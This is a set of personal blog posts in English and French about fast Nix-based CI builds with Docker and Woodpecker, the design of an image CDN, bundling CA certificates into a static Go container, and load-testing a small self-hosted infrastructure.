Quentin Dufour

Fast CI builds

Sat, 10 Aug 2024 00:00:00 +0200

Historically, in the good old Jenkins days, a CI build would occure in a workspace that was kept across build. So your previous artifacts could be re-used if they did not change (for example, make would detect that some files did not change since that last build and thus did not recompile them). Also it was assumed that all dependencies were directly installed on the machine. Both of these properties allowed for very fast and efficient builds: only what changed needed to be rebuilt.

This approach had many shortcomings: stale cache would break builds (or wrongly make it work), improper dependency tracking would make building on a new machine very hard, etc. In the end, developers stop trusting the CI that remain broken, bugs start cripling the project and are not noticed, and finally the codebase becomes unmaintainable.

To avoid these problems, developers started to use a new generation of CI relying on VM (like Travis CI) or containers (like Drone). All builds start with a fresh environment, often a well-known distribution like Ubuntu. Then, for each builds, all the dependencies are installed and the build is done from scratch. Such approach greatly helped developers better track their dependencies and make sure that building their project from scratch remains possible. However, build times skyrocketted. You can wait more than 10 minutes before running a command that would actually check your code. And as recommended by many people¹²³ the whole build cycle (lint, build, test) shoud remains below 10 minutes to be useful.

To speed-up the CI, various optimizations have been explored. CI sometimes propose some sort of caching API, and when it does not, an object store like S3 can be used. This cache is used either by directly copying the dependency folder⁴ (for example the target/ folder for Rust or the node_modules/ for Node.JS), or through dedicated tools like sccache⁵. In this scenario, fetching/updating the cache involves a non negligible amount of filesystem+network I/O. Another approach relies on providing your own build image that will often be cached on workers. This image can contain your toolchain (for example Rust + Cargo + Clippy + etc.), but also your project dependencies (by copying your Cargo.toml or package.json file) and pre-fetching/compiling them. This approach still involves some maintenance burden: image must be rebuilt and published each time a dependency is changed, it’s project specific, it can easily break, you still do not track correctly your dependencies, etc.

Can we cache without making our builds fragile?

Nix to the rescue

Following our short discussions, the question that surface is wether or not we can cache efficiently without making our build fragile. Ideally, our project would be split in parts compiled in strict isolation, dependencies between parts would be stricly tracked, cache would be kept locally, and new job would only focus on rebuilding the changed components (avoiding steps like restoring cache & co).

That’s what Nix can do, at least in a theory. A SaaS CI ecosystem start developping around it with solutions like Garnix or Hercules CI.

But personnaly, I am more interested in FOSS solutions, and thus existing solutions like Hydra or Typhon seem more baroque. Worse, often a CI system based on Docker is already deployed in your organization (like Woodpecker, Gitlab Runner, Forgejo Actions, etc.), and so you didn’t really have a choice here: you must use what’s already there.

The Docker way

In the following, I will describe a docker deployment that should be generic enough to be adapted to any Docker-based CI system. It’s inspired by my own experience⁶ and a blog post by Kevin Cox⁷.

First, we will spawn a unique nix-daemon on the worker, outside of the CI system:

docker run -i \
  -v nix:/nix \
  --privileged \
  nixpkgs/nix:nixos-22.05 \
  nix-daemon

Then we will mount this nix volume as read-only in our jobs. The job will be able to access the store to run the programs it needs. It can add new things to the store by scheduling builds in the daemon through a dedicated UNIX socket. This approach is called Multi-user Nix: trusted building⁸.

docker run -it --rm \
  -e "NIX_REMOTE=unix:///mnt/nix/var/nix/daemon-socket/socket?root=/mnt" \
  -e "NIX_CONFIG=extra-experimental-features = nix-command flakes" \
  -v nix:/mnt/nix:ro \
  -v `pwd`:/workspace \
  -w /workspace \
  nixpkgs/nix:nixos-24.05 \
  nix build .#

Note how the nix daemon and the nix interactive instance have a different version. It’s possible as, in the interactive instance, we did not mount the daemon store on the default path (/nix) but on another one (/mnt/nix) and instructed it to use it in the NIX_REMOTE environment variable. This point is important as it enables you to decouple the lifecycle of your worker daemons from the one of your projects, which drastically ease maintenance.

A woodpecker integration

Basically, you want to run your nix-daemon next to your woodpecker agent, for example in a docker-compose. Then, you need to pass specific parameters to your woodpecker agent such that our volume and environment variables are automatically injected to all your builds:

version: '3.4'
services:
  nix-daemon:
    image: nixpkgs/nix:nixos-22.05
    restart: always
    command: nix-daemon
    privileged: true
    volumes:
      - "nix:/nix"

  woodpecker-runner:
    image: woodpeckerci/woodpecker-agent:v2.4.1
    restart: always
    environment:
      # -- our NixOS / CI specific env
      - WOODPECKER_BACKEND_DOCKER_VOLUMES=woodpecker_nix:/mnt/nix:ro
      - WOODPECKER_ENVIRONMENT=NIX_REMOTE:unix:///mnt/nix/var/nix/daemon-socket/socket?root=/mnt,NIX_CONFIG:extra-experimental-features = nix-command flakes
      # -- change these for each agent
      - WOODPECKER_HOSTNAME=i_forgot_to_change_my_runner_name
      - WOODPECKER_AGENT_SECRET=xxxx
      # -- should not need change
      - WOODPECKER_SERVER=woodpecker.example:1111
    volumes:
      - "/var/run/docker.sock:/var/run/docker.sock"

volumes:
  nix:

Note that the volume is named woodpeck_nix and not nix in the woodpacker agent configuration (WOODPECKER_BACKEND_DOCKER_VOLUMES environment declaration). It’s because our docker-compose.yml is in a woodpecker folder and docker compose prefixes the created volumes with the name of the deployment, by default the parent folder name. The prefix is not needed elsewhere, as elsewhere, the resolution is dynamically done by compose. But the WOODPECKER_BACKEND_DOCKER_VOLUMES declaration is not part of compose, it will be used later by woodpecker when interacting directly with the Docker API.

Then, in your project .woodpecker.yml, you can seemlessly use nix and enjoy efficient and quick caching:

steps:
  - name: build
    image: nixpkgs/nix:nixos-24.05
    commands:
      - nix build .#

Limitations

Anyone having access to your CI will have a read access to your nix store. People will also be able to store data in your /nix/store.

Finally, if I remember correctly, there are some attacks to alter the content of a derivation (such that a content in /nix/store is not the product of the hashed derivation). In other words, it’s mainly a single-tenant solution.

So a great evolution would be a multi-tenant system, either by improving the nix-daemon isolation, or by running one nix-daemon per-project or per-user/per-organization. Today, none of these solutions is possible.

Another limitation is garbage collection: if the nix-daemon can do some garbage collection, none of its policy is interesting for a CI. Mainly, if you activate it, it will ditch everything as it is connected to “no root path” from its point of view. A LRU cache policy would be a great addition. At least, you can manually trigger a garbage collection once your disk is full…

How long should your CI take. Various industry resources suggest an ideal CI time of around 10 minutes for completing a full build, test, and analysis cycle. As Kent Beck, author of Extreme Programming, said, “A build that takes longer than ten minutes will be used much less often, missing the opportunity for feedback. A shorter build doesn’t give you time to drink your coffee.” ↩
Measure and Improve Your CI Speed with Semaphore. We’re convinced that having a build slower than 10 minutes is not proper continuous integration. When a build takes longer than 10 minutes, we waste too much precious time and energy waiting, or context switching back and forth. We merge rarely, making every deploy more risky. Refactoring is hard to do well. ↩
Continuous Integration Certification. Finally he asks if, when the build fails, it’s usually back to green within ten minutes. With that last question only a few hands remain. Those are the people who pass his certification test. ↩
Rust CI Cache. We can cache the build artifacts by caching the target directory of our workspace. ↩
My ideal Rust workflow. The basic idea behind sccache, at least in the way I have it set up, it’s that it’s invoked instead of rustc, and takes all the inputs (including compilation flags, certain environment variables, source files, etc.) and generates a hash. Then it just uses that hash as a cache key, using in this case an S3 bucket in us-east-1 as storage. ↩
I tried writing a CI on top of Nomad that would wrap a dockerized NixOS, and also deployed a Woodpecker/Drone CI NixOS runner. ↩
Nix Build Caching Inside Docker Containers. I wanted to see if I could cache dependencies without uploading, downloading or copying them around for each job. ↩
Untrusted CI: Using Nix to get automatic trusted caching of untrusted builds. This means that untrusted contributors can upload a “build recipe” to a privileged Nix daemon which takes care of running the build as an unprivileged user in a sandboxed context, and of persisting the build output to the local Nix store afterward. ↩

Pensées sur les CDN d'images

Wed, 31 Jul 2024 00:00:00 +0200

Pour accélérer le chargement d’un site web, réduire la quantité de données transférées, et livrer un format d’image adapté aux appareils utilisés, il est d’usage d’avoir recourt à des services qu’on appelle souvent “image CDN”.

Ces services “de CDN d’images” réalisent, en interne l’encodage à la volée d’une image source vers un format, une qualité, et une résolution spécifique spécifiées dans l’URL. Ces services intègrent possiblement une politique de cache des images générées.

État de l’art

Dans ce domaine, on peut recenser de nombreux acteurs SaaS comme Netlify Image CDN, KeyCDN Image Processing, Cloudflare Images ou encore Akamai Image & Video Manager. Il existe aussi des solutions à héberger soi-même, comme imgproxy, imaginary, thumbor, pilbox, imageproxy ou encore picfit. Enfin, on peut construire ce genre de services via des bibliothèques dédiées comme sharp en NodeJS, qui se base sur la bibliothèque C libvips qui a des bindings dans la plupart des langages.

Défis techniques

Pour tout service informatique se pose des questions de deux ordres : fonctionnel et opérationnel. Le périmètre fonctionnel est bien défini, pour preuve l’homogénéité de fonctionnement de ces services. On peut au besoin se baser sur l’image API 3.0 de l’IIF si on veut.

L’aspect opérationnel quant à lui revêt des défis non triviaux, spécifiquement quant on a une approche computing within limits. En effet, la conversion d’une image n’est pas une opération négligeable en terme de consommation de CPU & RAM. À celà s’ajoute deux pré-requis particulièrement fort liés à l’aspect “à la volée” du service : 1) la conversion doit être réalisée de manière “intéractive” et 2) l’arrivée des requêtes n’est pas prédictible ou uniformément dispersée.

On peut avoir un premier aperçu des enjeux liés à ce service à travers un benchmark, réalisé vers 2019 - il y a 5 ans à l’écriture de ce billet - par un dévelopeur d’une de ces solutions, et intitulé imgproxy vs alternatives benchmark. Le test consiste à redimensionner une image JPEG de 29Mo pour une résolution de 7360x4912 (typiquement une photo prise par un appareil photo réflexe) vers une résolution de 500x500, toujours en JPEG. Le benchmark semble être configuré avec 4 requêtes en parallèle. imgproxy, thumbor, et imaginary se démarquent particulièrement des autres logiciels par leurs bonnes performances : environ 10 images par secondes, entre 200Mo et 400Mo de mémoire vive consommées, autour de 500ms de processing par image.

Ces chiffres sont loins d’être anodins : étant donné la nature du test, il est raisonable de penser que l’image se trouve dans le cache en mémoire vive. Les 500ms de processing sont donc dus uniquement aux accès mémoires et à la logique de redimenssionnement, et non à l’attente d’entrées-sorties. Autrement dit, la conversion d’une seule image génère un pic de CPU à 100% pendant 500ms.

Par contre, ce test ne nous dit rien des formats d’images plus récents comme AVIF, HEIC ou même WebP. Si ces formats génèrent des fichiers de plus petites tailles, ils sont aussi connus pour demander d’avantage de ressources CPU. En pratique, cela risque d’amplifier encore le temps d’encodage, particulièrement si l’image générée a une haute résolution.

Enfin, le domaine des tests de performance est grand. Ce “benchmark” tombe sous le coup du “test de charge” : on envoie 4 requêtes parallèles en continu et on observe comment le système se comporte. Mais quid d’un “stress test”, qui dépasse les limites du système, et qui nous permet de voir comment ce dernier se comporte, et comment il recover ?

En effet, que ce soit par maladresse ou par malveillance, il est certain qu’un tel système basé sur des “traitements à la volée” fera rapidement face à des charges de travail qu’il ne pourra pas traiter en temps acceptable (supposons 5 secondes). Que ce soit des images très hautes résolutions de la voute céleste, une grille de miniatures générant 60 images en parallèle, un pic de trafic soudain sur un site web suite à un partage sur les réseaux sociaux, ou quelqu’un de malveillant générant des requêtes volontairement intensives en ressource.

Failure mode

À mon sens, il n’existe aucune autre solution que la conception d’un failure mode. Lorsque qu’une trop grande charge de travail est envoyée au service, ce dernier passe en failure mode le temps d’absorber la charge. Une fois la charge absorbée, le service recover et repasse dans son mode normal. Ce failure mode doit forcément être très efficace, sinon il ne sert à rien.

On peut d’abord envisager un mode de fonctionnement très direct pour notre failure mode : envoyer un code d’erreur HTTP, comme le standard 503 service unavailable ou le non-standard 529 service overloaded.

Plus ambitieux, on peut envoyer une image placeholder à la place, sans directive de cache bien entendu, ce qui permettrait de donner une indication visuelle plus claire aux internautes, et potentiellement de moins casser le site web. Cette image placeholder serait pré-calculée au démarrage du service pour tous les formats supportés (JPEG, HEIC, etc.) et stockée en mémoire vive.

Se pose encore la question de la taille : si on envoie une taille différente de celle attendue, on peut “casser” le rendu du site. À contrario, générer une image à la bonne taille à la volée demande des calculs, bien que si on complète avec une couleur uniforme, ces calculs puissent possiblement être triviaux en fonction du format considéré.

Enfin, le problème majeur, c’est que les images sont intégrées de pleins de manières différentes à travers un site web, parfois mélangées avec des filtres : comment s’assurer que notre placeholder sera correctement reçu et compris ?

Dans le cadre du développement d’une première itération, la solution des codes d’erreur semble préférable.

Files d’attente

Reste maintenant à définir comment on bascule dans ce failure mode. Et pour se faire, on va partir de conceptions single-thread et multi-thread naïves pour comprendre comment elles échouent. En single-thread, lorsque plusieurs requêtes seront reçues, elles vont s’accumuler soit dans le noyau, soit dans le runtime (eg. nodejs) et une seule sera processée (car on suppose un processus CPU bound sans IO). Les requêtes vont donc s’accumuler, quelques unes vont être process, mais la plupart vont timeout. En multi-thread, on va progresser sur la conversion de plusieurs requêtes en parallèle mais très lentement à chaque fois, au point qu’on va aussi timeout probablement. Dans le cas du multi-thread, on risque aussi d’épuiser les ressources du serveur.

À la place, on va placer les traitements d’image dans un ou plusieurs fils dédiés mais toujours un nombre inférieur à notre nombre de CPU, pour garder un serveur réactif. Lorsqu’on veut réaliser un taitement, on place notre requête dans une file d’attente. Lorsqu’un fil a fini son traitement, il prend un nouveau job dans cette file d’attente. Cette file d’attente est bornée, elle peut donc être pleine, auquel cas on passe dans le failure mode tant qu’elle ne s’est pas vidée. Ici, on a formulé notre problème selon un modèle académique bien connu, et surlequel on peut envisager itérer.

Une des questions qui se pose est bien entendu “quelle est la bonne borne pour la file d’attente” ? On peut commencer par mettre des valeurs statiques, qui seraient configurées de manière empirique en fonction du type de déploiement. On peut être tenté ensuite de calculer aussi combien de temps va prendre la file d’attente à être traitée, en fonction du type de job (format, taille de l’image, etc.) et des performances passées : ça semble compliqué et hasardeux. À la place, on peut imaginer une gestion inspirée de CoDel : une file d’attente est utile si elle permet d’absorber des burst sur une courte période, sinon elle est néfaste. On peut donc définir cette courte période : par exemple 5 secondes. Si durant cette période, la file d’attente n’a jamais été vide ou presque (mettons qu’aucune image n’a été traitée en moins de 500ms), alors on est en sur-capacité, on doit passer en failure mode et “drop” certains traitements. Il y aurait quelques ajustements à réaliser pour que ça fonctionne - par exemple imposer un temps de traitement maximal par image, ici ce serait 500ms aussi.

Dans le cadre du développement d’une première itération, on peut se contenter d’une valeur statique.

Cache

Bien entendu, un tel système s’entend aussi avec un cache, qui pose son lot de questions : comment on le garbage collect ? est-ce qu’on met une taille maximale à ce dernier ? qu’est-ce qu’on fait si on la dépasse ? On peut voir aussi des synergies entre notre système de fil d’attente et de cache : on pourrait imaginer une seconde file d’attente avec une plus longue période (mettons 2 heures), encaissant donc de plus gros bursts, qui fonctionnerait de manière asynchrone pour hydrater le cache. Les éléments qui ne peuvent pas être ajoutés à la file d’attente synchrone pourraient être ajoutés à la 2nde file d’attente. Ça fonctionnerait particulièrement bien avec les galeries : si il est impossible de générer 60 miniatures au chargement de la page, ces miniatures pourraient être générées en asynchrone pour plus tard.

Idéalement, le cache serait imputé par utilisateur-ice, directement dans leur bucket. L’expiration des objets seraient réalisée via le système de Lifecyle de S3 (non-implémenté dans Garage à ce jour). Avec les lifecycles, il est trivial d’implémenter un pseudo FIFO en expirant tous les objets X jours après leur création, mais moins évident de faire un LRU ou LFU. Sans considérer les lifecycles ni l’imputation par bucket, on peut imaginer une stratégie différente. En utilisant un seul bucket (par instance), on définirait un nombre fixé de “slots”, par exemple 1 000, correspondant à une clé cache0 à cache999. Un mapping entre la clé de cache et l’URL de l’image (son identifiant, sa taille, etc.) est maintenu en mémoire et est régulièrement flush, c’est l’index. Ce dernier contient aussi la date de dernier accès, et toute autre information utile/importante pour la stratégie d’eviction du cache. Il se peut que la clé de cache et l’index se désynchronise, afin d’éviter d’envoyer une donnée “corrompue”, on vérifie que l’ETag stocké dans l’index correspond à celui de l’objet. Afin d’éviter une explosion du stockage, on met aussi une borne supérieure sur la taille de ce qui peut être stocké dans le cache. Par exemple, avec une borne à 5Mo et 1000 fichiers, notre cache ne dépassera pas 5Go. Enfin, on peut suivre l’efficacité de notre cache en trackant des métriques bien connus sur ce dernier (cache hit, cache miss, etc.).

Si on pourrait être tenté dans une première itération de ne pas utiliser S3 pour le cache mais le filesystem ou la mémoire vive, je pense que c’est une erreur. Si le CDN se reschedule sur un autre noeud, on perd le cache, et on risque de passer trop souvent dans le failure mode inutilement, créant du désagrément et de l’incompréhension pour rien auprès des utilisateur-ices.

On peut aussi être tenté d’utiliser des outils de caching existants plutôt que de ré-implémenter notre propre politique de cache. D’abord ça n’est pas évident que ce soit possible dans notre cas d’usage où on a besoin de stocker dans S3. Ensuite, ça nous rendrait impossible l’implémentation ultérieure de l’imputation du stockage à l’utilisateur final.

Conclusion

Dans ce billet de blog, on a vu que la conversion et redimensionnement des images à la volée consommait beaucoup de ressources CPU & RAM. De ce fait, c’est un défi à mettre en oeuvre dans un environnement contraint en ressources (computing within limits). En s’autorisant un failure mode, on peut cependant s’assurer d’une certaine résilience du système face à des pics de charge trop importants, et donc assurer la viabilité d’un tel service. La théorie des fil d’attentes et CoDel sont un exemple de comment & quand basculer entre le normal mode et le failure mode. Enfin, un système de cache bien conçu permettrait une réduction significative de l’utilisation CPU+RAM pour un coût supplémentaire en stockage modique. Idéalement, le coût supplémentaire en stockage serait imputé à l’utilisateur ; on peut aussi envisager utiliser le cache pour un traitement asynchrone des images, comme la génération d’un grand nombre de miniatures qui ne peut pas être fait de manière synchrone en environnement contraint.

TLS dans un conteneur statique

Sun, 09 Jun 2024 00:00:00 +0200

Cet article est motivé par un problème rencontré sur l’interface Guichet de Deuxfleurs. Au moment d’intéragir avec l’API S3, on a cette erreur suivante :

Impossible d'effectuer la modification.
Put "https://garage.deuxfleurs.fr/bottin-pictures/d1e3607f-4b9c-45fa-9e11-ddf8eef48676-thumb": tls: failed to verify certificate: x509: certificate signed by unknown authority

Pour comprendre le problème, partons de cet exemple basique en Go :

package main

import (
  "net/http"
  "log"
)

func main() {
	_, err := http.Get("https://deuxfleurs.fr")
	if err != nil {
		log.Fatal(err)
	}
	log.Println("Success")
}

Ce bloc de code fait une requête HTTPS vers deuxfleurs.fr et log l’erreur si il y en a une, sinon il affiche Success.

On va le compiler en statique pour ne pas dépendre de la lib C locale :

CGO_ENABLED=0 go build main.go

Ce qui nous donne bien un executable statique :

$ file main
main: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=ctUIsYsrR2BtpR58vqRU/TI93T6hZlDxMBNqsplsv/QYD-xJaEDyWB0QaX6tSS/cDyvoEdvE3kZpdq8yCs3, with debug_info, not stripped

Si on le fait tourner en local, tout se passe bien :

2024/06/09 15:54:59 Success

Maintenant, puisqu’on nous avons un binaire statique qui ne dépend de rien, on va vouloir créer un conteneur Docker qui ne contient que ce fichier (alors que souvent on embarque une distribution de base comme Debian ou Alpine). Pour se faire, on écrit un Dockerfile avec deux étapes : une qui a les outils pour le build, et une qui ne contient que notre binaire :

FROM golang as builder
COPY main.go .
RUN CGO_ENABLED=0 go build -o /main main.go

FROM scratch
COPY --from=builder /main /main
CMD [ "/main" ]

On construit & lance le conteneur et… on reproduit l’erreur !

$ docker build -t tls-static-go .
$ docker run --rm -it tls-static-go
2024/06/09 14:02:37 Get "https://deuxfleurs.fr": tls: failed to verify certificate: x509: certificate signed by unknown authority

Pour comprendre la différence de comportement entre l’intérieur du conteneur et l’extérieur, on peut faire appel à strace et voir les fichiers que notre binaire essaie d’ouvrir :

$ strace -fe openat ./main
...
[pid  9066] openat(AT_FDCWD, "/etc/ssl/certs/ca-certificates.crt", O_RDONLY|O_CLOEXEC) = 7
[pid  9066] openat(AT_FDCWD, "/etc/ssl/certs", O_RDONLY|O_CLOEXEC) = 7
[pid  9066] openat(AT_FDCWD, "/etc/ssl/certs/ca-bundle.crt", O_RDONLY|O_CLOEXEC) = 7
...

En général ce fichier est fourni par les distributions, qui à ma connaissance majoritairement se basent sur le travail de Mozilla. On peut en lire plus à propos de la gestion de ces racines de confiance sur la page dédiée du wiki de Mozilla : CA/FAQ

Une façon de faire est donc de copier le fichier de notre builder dans notre conteneur final :

--- Dockerfile.old	2024-06-09 16:13:18.457415988 +0200
+++ Dockerfile	2024-06-09 16:12:59.494182932 +0200
@@ -4,5 +4,6 @@

 FROM scratch
 COPY --from=builder /main /main
+COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/ca-certificates.crt
 CMD [ "/main" ]

On rebuild, on relance et… ça marche !

$ docker build -t tls-static-go-2 .
$ docker run --rm -it tls-static-go-2
2024/06/09 14:14:30 Success

Pour visualiser le contenu d’une image docker, on peut utiliser l’outil dive :

À gauche, puis à droite, les commandes sont :

dive tls-static-go
dive tls-static-go-2

On voit bien l’ajout du chemin /etc/ssl/certs/ca-certificates.crt à droite. Maintenant, le problème avec les Dockerfile, c’est que ce ne sont pas du tout des builds reproductibles ni précis : on ne sait pas quelles versions ou dépendances on embarque. Donc on veut plutôt construire nos conteneurs avec NixOS pour plus de contrôle.

Pour faciliter le packaging Nix, on va générer un fichier go.mod :

go mod init tls-static-go
go mod tidy

On peut ensuite créer un fichier flake.nix qui est notre équivalent – mais plus précis – de notre Dockerfile :

{
  description = "TLS Static Golang";

  inputs = {
    nixpkgs.url = "github:nixos/nixpkgs/master";
  };

  outputs = { self, nixpkgs }:
    let
      # On configure "le dépôt Nix"
      pkgs = import nixpkgs {
        system = "x86_64-linux";
      };

      # On utilise le builder Go intégré à Nix pour construire notre app
      tls-static = pkgs.buildGoModule {
        pname = "tls-static";
        version = "0.1.0";
        src = ./.;
	vendorHash = null;
        CGO_ENABLED = 0;
      };

      # On construit une image Docker qui ne contient que l'app qu'on a build.
      container = pkgs.dockerTools.buildImage {
        name = "superboum/tls-static-go";
        copyToRoot = tls-static;
        config = {
          Cmd = [ "/bin/tls-static" ];
        };
      };
    in
      {
        # Par défaut, sous Linux amd64, on construit le conteneur
        packages.x86_64-linux.default = container;
      };
}

Et ensuite on peut construire / charger / lancer le conteneur Docker :

$ nix build
$ docker load <result
Loaded image: superboum/tls-static-go:zvsb5pwz25irhr90x10kpfhgsph5is1s
$ docker run --rm -it superboum/tls-static-go:zvsb5pwz25irhr90x10kpfhgsph5is1s
2024/06/09 14:37:57 Get "https://deuxfleurs.fr": tls: failed to verify certificate: x509: certificate signed by unknown authority

Et de nouveau la même erreur, on jette un coup d’oeil avec dive :

On voit qu’on a quelques dépendances nix de tirées (à propos des fuseaux horaires par exemple) mais rien lié aux certificats. On va donc injecter là aussi ces certificats dans le conteneur, et pour ce faire on réalise la modification suivante :

--- flake.nix.old	2024-06-10 09:42:48.871184290 +0200
+++ flake.nix	2024-06-10 09:41:48.011959988 +0200
@@ -24,7 +24,10 @@
       # On construit une image Docker qui ne contient que l'app qu'on a build.
       container = pkgs.dockerTools.buildImage {
         name = "superboum/tls-static-go";
-        copyToRoot = tls-static;
+        copyToRoot = pkgs.buildEnv {
+          name = "tls-static-env";
+          paths = [ tls-static pkgs.cacert ];
+      	};
         config = {
           Cmd = [ "/bin/tls-static" ];
         };

Autrement dit, on a créé notre système de fichiers racine en fusionnant le contenu de notre build tls-static avec celui du paquet NixOS cacert.

On peut ensuite rebuild / load / run le conteneur avec… succès !

$ nix build
$ docker load <result
Loaded image: superboum/tls-static-go:02bmar6x0q1gi8b6j5ys6j1l84mn5vwh
$ docker run --rm -it superboum/tls-static-go:02bmar6x0q1gi8b6j5ys6j1l84mn5vwh
2024/06/09 14:45:06 Success

Quant à Dive, on voit bien que le bundle de certificat a été correctement injecté au bon endroit :

Et voilà, vous avez une image Docker fonctionnelle, minimaliste, reproductible, avec des dépendances correctement déclarées, et maintenable.

Quelle est la capacité de Deuxfleurs ?

Sat, 27 Apr 2024 00:00:00 +0200

De part son côté atypique (de vieux PC de bureau reconvertis en serveurs derrière des connexions FTTH grands publics avec beaucoup de logiciels maisons - tricot, garage, etc.), les usager-es de Deuxfleurs ne savent pas trop quoi attendre en terme de performance. De mon point de vue d’opérateur, c’est dur également d’évaluer les capacités de Deuxfleurs, à part en disant qu’on a pensé notre solution pour mutualiser les usages, et donc que peu de machines puissent servir à beaucoup de monde.

Commençons par quelques faits : au 27 avril 2024, Deuxfleurs a 8 serveurs (3 à Orsay, 2 à Lilles, 3 à Bruxelles). Il n’y a que 2 serveurs / 8 qui reçoivent les requetes : en effet, notre configuration IPv4 ne permet pas d’avoir plus d’un répartiteur de charge HTTP par zone géographique, et notre zone géographique belge est encore en chantier. Chaque serveur est connecté en ethernet 1Gb/sec et on a 300Mbps+ entre Proximus et Free (en gros c’est une approximation de notre bande passante sur Internet, même si ça varie en fonction des destinations et du moment observé bien entendu…). Avec 2 répartiteurs de charge, on estime donc à 600Mb/s notre bande passante sur le réseau (2x 300Mb/s), bien entendu après il faut du logiciel qui puisse gérer ça.

Chaque serveur est à peu prêt identique : un ordinateur de bureau milieu de gamme de 2013. Typiquement, en terme de processeur on a du Intel(R) Pentium(R) CPU G3420 et entre 8Go et 16Go de RAM par serveur. Au total, Nomad, un de nos outils de gestion, rapporte un total de 78Go de RAM et 16 CPU (répartis en 8 machines physiques donc).

En terme de stockage, on a 4To de stockage à Lille, 1.5To à Bruxelles, 3To à Orsay. Ça fait seulement 1.5To utilisable par Garage, car on requiert une duplication sur 3 sites pour la robustesse, et Bruxelles n’a que 1.5To (c’est normal, c’est la “zone” en chantier aujourd’hui).

Avec notre politique de 200Mo/site max, ça fait quand même déjà une capacité de 7 500 sites webs. On monte à 30 000 sites webs si on considère 50Mo (la taille réservée à la création du site, avant l’augmentation du quota). Si on passe à Bruxelles à 3To pour “rattraper” les autres sites, on double le nombre de sites web hébergeables. De plus, aujourd’hui on trouve des disques durs 2.5” à 4To, ce qui veut dire qu’on pourrait passer entre 8To et 15To par zone géographique sans changer radicalement notre infrastructure (même boitier, meme enveloppe de consommation electrique, etc.). Dans ce cas hypothétique, on dépasse les 100 000 sites webs hébergeables. Bien sûr à chaque fois, c’est en supposant qu’on héberge que des sites webs : mais on peut diviser par 2 les chiffres, et se dire qu’on alloue le reste aux autres services, et ça reste étourdissant !

Se pose maintenant la question de la montée en charge, combien de requêtes/secondes on peut traiter. Aujourd’hui on a un ~10 req/sec continu (majoritairement du à Matrix et Sogo, des protocoles de chat & email respectivement au dessus de HTTP qui font du polling, c’est très en dessous côté hébergement web garage) qui n’ébranle pas franchement nos serveurs. On va donc faire du scalability testing pour voir jusqu’où on peut monter. Il faut savoir que le pire cas pour nous, c’est quand un site web devient populaire d’un seul coup, et que tout le monde s’y connecte en même temps avec un cache froid, par exemple parce qu’un tweet devient viral ou des notifications push sur mobile envoyés par une application. On va donc prendre ce cas pour notre test.

Notez que pour les notifications mobiles, plutôt que de déployer d’avantages de serveurs pour gérer le pic de trafic, il est plus avisé d’échelonner leur envoi auprès des utilisateurs. C’est à dire envoyer un premier lot de notifications à 10% des utilisateurs, attendre 20 minutes, envoyer le 2nd lot, etc. Et oui, c’est aussi bête que ça parfois…

Notre cobaye sera ce propre blog, et plus exactement sa page d’accueil et ses 8 ressources à charger. J’utilise l’outil k6 pour ce test qui n’a pas vocation à être exhaustif, pour info voici le script de test :

import http from 'k6/http';

export default function () {
  http.get('https://quentin.dufour.io');
  http.get('https://quentin.dufour.io/assets/css/style.css');
  http.get('https://quentin.dufour.io/assets/css/typo.css');
  http.get('https://quentin.dufour.io/assets/images/favicon.ico');
  http.get('https://quentin.dufour.io/assets/fonts/MerriweatherRegularLatin.woff2');
  http.get('https://quentin.dufour.io/assets/fonts/MerriweatherBoldLatin.woff2');
  http.get('https://quentin.dufour.io/assets/fonts/MerriweatherItalicLatin.woff2');
  http.get('https://quentin.dufour.io/assets/fonts/Symbola.ornements.woff2');
}

→ Accéder au rapport complet ←

Je n’ai volontairement pas poussé l’infrastructure au maximum, mais on tient sans problème 100 utilisateurs en instantané, ce qui fait ~800req/sec et 8Mo/sec de transfert de données. Sur 1 minute, ça fait 6 000 utilisateurs. Quand on était en page d’accueil sur Hacker News, on a vu que les visites s’étalaient en réalité plutot sur 1h ou 2h, meme si le trafic n’était pas réparti de manière homogene, mais plus sous la forme d’une gaussienne. Sans faire les calculs, je dirais qu’en cas de “coup de projecteur”, on peut tenir les ~10 000 utilisateurs sans trop de soucis. En informatique, on pense souvent en terme d’ordres de grandeurs. À mon avis, l’ordre de grandeur suivant, un burst de ~100 000 utilisateurs est imaginables sans remettre en question notre architecture mais avec des améliorations à différents endroits. Par contre l’ordre de grandeur suivant, 1 million, nous forcerait à repenser en profondeur notre système. Toute cette réflexion reste encadrée pour moi par deux articles très importants, C10K et C10M. Le premier date de 2003, et constate que les serveurs industriels ont la capacité de supporter 10 000 connexions simultanés, et réfléchit à comment concevoir du logiciel qui permette d’exploiter ces capacités. On pourrait dire que C10M, c’est le même constat entre 10 et 20 ans plus tard, mais que cette fois-ci on est passé à 10 millions de connexions, là encore en remettant encore à plat le logiciel qu’on conçoit. Alors bien sûr, ici on parle de connexions qui ne font pas grand chose, mais quand même, c’est pertinent de savoir où on se situe, surtout en 2024 où on écrit encore des logiciels qui ont du mal à gérer 4 ou 5 connexions simultanées…

Jusqu’ici je parle de trafic soudain, mais pour de nombreux sites, c’est un flux continu. Dans ce cas, les visites sont beaucoup plus espacées dans le temps. Mettons un site web qui s’adresse aux particuliers, d’expérience il verra une large partie de ses visites se faire entre 7h et 9h le matin, lors de la pause méridienne, disons entre 12h et 14h puis surtout le soir, de 18h à 22h, soit au total quand même 8 heures. À 6 000 utilisateurs par minutes parfaitement répartis, ça nous fait 2.9 millions de visiteurs par jours (on suppose que consulter les pages suivantes est négligeable passé la première requête). Bien sûr, mon modèle est très naïf là, et trop imprécis pour affirmer quelque chose de définitif. Mais disons que, dès lors que le trafic se lisse sur la journée, on a pas trop de mal à gérer 1 million d’utilisateurs par jour. Bon, il ne faut pas perdre de vu que ce budget de 1 million par jour, il est à partager entre tout le monde ! Mais là encore, on a les statistiques de notre côté : des abonnements Twitch aux marchandises sur Amazon en passant par la taille des instances Mastodon, on va avoir une longue traîne : un ou quelques sites webs avec beaucoup de visites, et très rapidement toute une myriade de petits sites avec très peu de visites par jour, qui se fondent dans l’épaisseur du trait. On peut donc dimensionner pour quelques gros sites et le reste suivra.

